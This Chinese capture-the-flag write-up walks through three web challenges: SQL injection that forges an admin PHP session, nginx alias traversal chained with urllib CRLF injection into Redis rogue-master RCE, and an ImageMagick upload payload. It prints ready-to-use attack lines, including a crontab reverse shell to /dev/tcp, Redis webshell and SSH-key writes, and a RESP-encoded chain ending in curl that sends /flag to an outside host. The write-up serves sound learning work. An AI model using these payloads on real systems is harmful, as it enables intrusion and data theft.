3CTF初赛题目分析

360的题真是太难了…我真是太菜了…思路还是要记一下…

立誓要成为admin的男人

考点:

SQL注入
伪造SESSION

1.在登录页面可以用sqlmap跑出用户名和密码的md5值,但解不出密码;

2.进入sql-shell,用load_file('/etc/passwd')可以读出这个文件,但往/var/www/html/目录写不进文件;

3.通过扫描目录可以发现存在test.php,访问会打印出当前用户名,可猜测为session:

Array([username] => gtfly)

4.结合题目,可以在/tmp目录写文件来伪造admin:

username = 1'union select 'username|s:5:"admin";' into outfile '/tmp/sess_123456'&password=1

5.用Cookie: PHPSESSID=123456访问index.php,得到flag

用Python写的一个网站,好像还没有写完?

考点:

nginx目录穿越
CRLF+SSRF(http头注入)
redis RCE

nginx目录穿越漏洞

该漏洞产生原因:

Nginx在配置别名(Alias)时,location和alias的后缀不统一

例如nginx配置文件/etc/nginx/sites-available/default

server {
    listen    80;
    server_name  localhost;

    location /files {
        autoindex on;
        alias /home/;
    }
}

正常访问:

xxx.xxx.xxx.xxx/files/

会访问到/home/目录;但:

xxx.xxx.xxx.xxx/files../

会访问到根目录,此时便可访问根目录的其他文件,进行任意下载文件

修复:

保证location和alias的值都有后缀`/`,或都没有这个后缀

redis RCE

1.写入shell

关于写入shell,可大致分为直接写入shell到网站根目录、写入ssh公钥、写入定时任务反弹shell

1.写入文件到网站根目录

127.0.0.1:6379> set x "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> config set dbfilename test.php
OK
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> save
OK

解释:

save命令可将内存中的数据保存到dbfilename中;可通过config set来设置redis保存的数据的路径,config get可获取设置的路径;SAVE成功后,/var/www/html/路径下便多出了test.php文件,内容为<?php phpinfo(); ?>

如果SAVE失败,应kill -9 redis's pid,再sudo启动redis-server

2.写入ssh公钥

首先在本地生成一对秘钥对:

ssh-keygen -t rsa

之后将ssh公钥写入到目标靶机,即可实现无密码登录目标靶机:

127.0.0.1:6379> flushall  #清空所有键值
127.0.0.1:6379> config set dir /root/.ssh   
127.0.0.1:6379> config set dbfilename pub_keys 
127.0.0.1:6379> set x "xxxx"  # xxxx为生成的ssh公钥
127.0.0.1:6379> save

3.利用contrab计划任务反弹shell

此方法只能在Centos上使用,Ubuntu不能使用(权限和乱码问题)

127.0.0.1:6379> flushall
127.0.0.1:6379> set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
127.0.0.1:6379> config set dir /var/spool/cron/
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> save
2.通过主从复制getshell

redis主从模式是指使用一个redis实例作为主机,其他实例作为备份机,主机和从机数据相同,不过主机只负责写,从机只负责读;通过读写分离可以大幅度减轻读写流量压力

通过slaveof命令来实现redis主从模式:

我们先在同一机器上开两个redis实例,一个端口为6379(从),另一个为6380(主):

进入redis配置文件目录/etc/redis/,复制一份配置文件为redis6380.conf,并将其中绑定的端口改为6380(默认为6379),再启动这两个服务:

redis-server /etc/redis/redis.conf
redis-server /etc/redis/redis6380.conf

设置:

▶ redis-cli -p 6379
127.0.0.1:6379> slaveof 127.0.0.1 6380  #这里设置主机为127.0.0.1:6380
OK
127.0.0.1:6379> KEYS *
(empty list or set)
127.0.0.1:6379> exit

▶ redis-cli -p 6380
127.0.0.1:6380> KEYS *
(empty list or set)
127.0.0.1:6380> set gtfly 1   # 主机设置key
OK
127.0.0.1:6380> get gtfly
"1"
127.0.0.1:6380> exit

▶ redis-cli -p 6379
127.0.0.1:6379> KEYS *
1) "gtfly"
127.0.0.1:6379> get gtfly    # key会自动同步到从机
"1"

redis4.x之后新增了一个模块功能,redis可以使用外部模块来扩展redis功能。当两个redis实例设置主从模式时,redis主机实例可通过FULLRESYNC同步到从机上,当从机加载exp.so文件,我们就可以执行扩展命令了;可利用版本:Redis 4.x-Redis 5.x

在本地进行测试,首先从github上下载exp.soredis-rogue-server

https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce

开启redis服务后,运行命令(redis-rogue-server为主机(–lhost为我们的ip+port),我们要攻击的设为从机(–rhost为内网redis的ip+port)):

即可进行反弹shell:

redis RESP

redis客户端与服务器之间是通过RESP协议进行通信的,它是redis2.0中的redis客户端与服务器通信的标准方式

常见数据格式的解释:

  • *3:代表数组的长度为3
  • $4:代表字符串的长度,
  • 0d0a:即\r\n,表示结束符
  • +OK:表示服务端执行成功后返回的字符串

当我们通过gopher、dict等协议对redis进行操作时,就要将命令转换为RESP协议格式

题目分析

1.题目类似百度页面,存在SSRF漏洞,不过只能使用http协议

2.查看响应头,存在Server: nginx/1.15.8 X-Powered-By: python/3.6.5,猜测存在nginx目录穿越漏洞,访问:

http://127.0.0.1:8000/static../main.py

获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask, request, render_template
# from flask_caching import Cache
import urllib.request

config = {
'CACHE_TYPE': 'redis'
'CACHE_REDIS_HOST': 'redis-server',
'CACHE_REDIS_PORT': 6379,
'CACHE_REDIS_DB': '',
'CACHE_REDIS_PASSWORD': 'password123'
}

app = Flask(__name__)
app.config.from_mapping(config) #app.config.from_mapping() 设置一个应用的 缺省配置

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
print(request.form.get('url'))
url = check(request.form.get('url'))
return req(url)
return render_template('index.html')


def check(url):
if url:
if url.startswith('http://'):
return url
return 'http://www.baidu.com'


def req(url):
try:
resp = urllib.request.urlopen(url)
return resp.read()
except Exception as e:
return 'error', 500


if __name__ == '__main__':
app.run()

可以看到其请求url使用的是urllib这个库,关于这个库的CVE:2016年曾经爆出过python库中urllib的CRLF HTTP头注入漏洞(CVE-2016-5699),2019年又出现了新的Python urllib CRLF 注入漏洞(CVE-2019-9740);经测试可发现确实存在http头注入漏洞,那么便可利用CRLF攻击redis内网

上述测试的通过攻击redis来getshell都是在本地进行的,攻击者与被攻击者都是127.0.0.1;因为这道题目redis是在内网环境中,外网无法直接访问,因此需要利用CRLF来实现SSRF进行攻击

auth password123  #登录
slaveof 192.168.21.1 7789  #设置主机为redis-rogue-server的ip和port
config set dbfilename exp.so  
MODULE LOAD ./exp.so  #载入exp.so
SLAVEOF NO ONE  
system.exec curl -F "file=@/flag" http://xxx.xxx.xxx.xxx:7789  #执行系统命令,将flag打到vps上

其对应的RESP编码为:

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a
*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a
*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a
*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a
*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

具体流程可看官方wp:

https://mp.weixin.qq.com/s/S1DNwNlt_Imytt9SVOywBA

这道题目的思路与p神之前的文章描述的有些类似:

https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html

真实的环境中,充满了未知,漏洞与函数的拼接,能否绕过?

考点:

爆破
getimagesize getshell

登录页面爆破出用户名和密码:admin/1qaz@WSX

这密码还真不太好爆的…在我字典中排第5w多个

进去后是一个上传点,源代码中提示:只能上传100*100的图片哦

猜测可利用imagemagic+getimagesize,p神的文章:

https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html

编写poc.jpg上传,反弹shell:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

思路还是不够,还是tcl:)


参考:

https://mp.weixin.qq.com/s/WSfUbIIdpam7ALuxI1Y31g

https://mp.weixin.qq.com/s/aYh5M38vTuUcUrTUMa_asg

https://mp.weixin.qq.com/s/-k-9oagAKxqtOBpmGi9Q0A

https://www.anquanke.com/post/id/181734

https://xz.aliyun.com/t/5665#toc-5

https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html